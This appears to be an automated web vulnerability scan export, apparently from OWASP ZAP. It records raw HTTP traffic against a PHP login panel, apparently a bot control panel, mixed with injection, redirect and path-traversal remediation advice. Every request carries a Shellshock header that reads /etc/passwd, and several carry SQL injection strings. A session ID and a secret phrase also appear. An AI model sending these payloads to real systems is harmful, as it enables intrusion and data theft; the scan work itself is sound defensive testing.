Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54&task_select=1%25%27+RLIKE+%28SELECT+%28CASE+WHEN+%289656%3D7648%29+THEN+1+ELSE+0x28+END%29%29+AND+%27%25%27%3D%27&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs= HTTP/1.1
host: 142.202.242.172
Connection: Close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 01:22:59 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS%25')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(7616=5031)%20THEN%200x54515549413732394a41554c414d4a53%20ELSE%200x28%20END))%20AND%20('%25'='/tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
content-length: 0

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:23:31 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?query=query%29%29+RLIKE+%28SELECT+%28CASE+WHEN+%283791%3D4771%29+THEN+0x7175657279+ELSE+0x28+END%29%29+AND+%28%284078%3D4078 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
content-length: 0

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:14:12 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27&bot=DESKTOP-95IQEEV%3BSELECT+%28CASE+WHEN+%285664%3D7016%29+THEN+5664+ELSE+1%2F%28SELECT+0%29+END%29--&id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 01:55:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

URL redirectors represent common functionality employed by web sites to forward an incoming request to an alternate resource. This can be done for a variety of reasons and is often done to allow resources to be moved within the directory structure and to avoid breaking functionality for users that request the resource at its previous location. URL redirectors may also be used to implement load balancing, leveraging abbreviated URLs or recording outgoing links. It is this last implementation which is often used in phishing attacks as described in the example below. URL redirectors do not necessarily represent a direct security vulnerability but can be abused by attackers trying to social engineer victims into believing that they are navigating to a site other than the true destination.

GET http://142.202.242.172/xampp HTTP/1.1
host: 7548671629728595560.owasp.org
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/xampp/
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 301 Moved Permanently
Date: Sun, 10 Mar 2024 22:16:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Location: http://7548671629728595560.owasp.org/xampp/
Content-Length: 370
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://7548671629728595560.owasp.org/xampp/">here</a>.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 7548671629728595560.owasp.org Port 80</address>
</body></html>

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

Use an allow list of approved URLs or domains to be used for redirection.

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving your site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems when generating the disclaimer page.

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "https://www.example.com/". Features such as the ESAPI AccessReferenceMap provide this capability.

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

LDAP Injection may be possible. It may be possible for an attacker to bypass authentication controls, and to view and modify arbitrary data in the LDAP directory.

POST http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

username=RawPHP&password=%5C%27+UNION+SELECT+IF%28YOUR-CONDITION-HERE%2C%28SELECT+table_name+FROM+information_schema.tables%29%2C%5C%27a%5C%27%29+--+-&secret=LNQ3Bj9ApCtipW5UD0Mh8tBChlT5x3xeXS7IAWL74FJPD4L1Cd

HTTP/1.1 200 OK
Date: Sun, 10 Mar 2024 22:02:20 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 0
Keep-Alive: timeout=5, max=39
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Validate and/or escape all user input before using it to create an LDAP query. In particular, the following characters (or combinations) should be deny listed:

&

|

!

<

>

=

~=

>=

<=

*

(

)

,

+

-

"

'

;

\

/

NUL character

MongoDB query injection may be possible.

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:29:41 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

POST http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

username=RawPHP&password=%5C%27+UNION+SELECT+IF%28YOUR-CONDITION-HERE%2C%28SELECT+table_name+FROM+information_schema.tables%29%2C%5C%27a%5C%27%29+--+-&secret=LNQ3Bj9ApCtipW5UD0Mh8tBChlT5x3xeXS7IAWL74FJPD4L1Cd

HTTP/1.1 200 OK
Date: Sun, 10 Mar 2024 22:02:20 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 0
Keep-Alive: timeout=5, max=39
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172//dashboard.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:18:36 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Keep-Alive: timeout=5, max=68
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//login.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:29:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//login.php/327qi HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:37:18 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//login.php/327qi/Capture.PNG HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:34:16 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//login.php/327qi/Sound%20Effects HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:01:42 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//login.php/327qi/Sound%20Effects/error.wav HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 03:01:51 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

GET http://142.202.242.172//tasks_page.php HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 04:36:56 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 301
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 142.202.242.172 Port 80</address>
</body></html>

POST http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type:
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

username=RawPHP&password=%5C%27+UNION+SELECT+IF%28YOUR-CONDITION-HERE%2C%28SELECT+table_name+FROM+information_schema.tables%29%2C%5C%27a%5C%27%29+--+-&secret=LNQ3Bj9ApCtipW5UD0Mh8tBChlT5x3xeXS7IAWL74FJPD4L1Cd

HTTP/1.1 200 OK
Date: Sun, 10 Mar 2024 22:29:23 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 3435
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>A.D.E | Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
<style>
body {
background-color: #1e1e1e;
color: #fff;
}
.login-container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
margin-top: 50px;
}
.image-container {
text-align: center;
margin-bottom: 30px;
}

.image-container img {
width: 500px;
height: auto;
}
.notification {
display: block;
position: fixed;
bottom: 30px;
right: 30px;
color: white;
border-radius: 12px;
padding: 20px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.7);
animation: slideIn 0.5s ease-in-out, fadeOut 0.5s 4.5s forwards;
max-width: 600px;
}

@keyframes slideIn {
from {
transform: translateY(100%);
}
to {
transform: translateY(0);
}
}

@keyframes fadeOut {
from {
opacity: 1;
}
to {
opacity: 0;
}
}
</style>
</head>
<body>

<div class="image-container">
<img src="Capture.PNG" alt="Logo">
</div>
<div class="login-container bg-dark p-4 rounded">
<form action="" method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" class="form-control" name="username" id="username" required>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" class="form-control" name="password" id="password" required>
</div>
<div class="form-group">
<label for="password">Secret Phrase (Security Layer)</label>
<input type="secret" class="form-control" name="secret" id="secret">
</div>
<button type="submit" class="btn btn-primary btn-block">Login</button>
</form>
</div>
<div style="height: 100px; overflow-y: auto;">
<div class="notifications">

<div class='error-panel fade-out' style='margin-top: 90px; margin-left: 220px;'>
<div class='notification' style='background-color: rgba(255, 0, 0, 0.5); width: 650px;'>
<h5><i class='fas fa-user-times' style='color: #ff0000;'></i> Invalid Credentials</h5>
<p></p>
</div>
</div><audio id="errorSound" src="Sound Effects/error.wav" preload="auto"></audio> </div>

</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script>

document.addEventListener("DOMContentLoaded", function() {
var errorPanel = document.querySelector('.error-panel.fade-out');
if (errorPanel) {
setTimeout(function() {
errorPanel.style.opacity = '0';
setTimeout(function() {
errorPanel.remove();
}, 1000);
}, 5000);
}
});
</script>
</body>
</html>

Do not trust client side input and escape all data on the server side.

Avoid to use the query input directly into the where and group clauses and upgrade all drivers at the latest available version.

The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.

Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.

The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character.

Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.

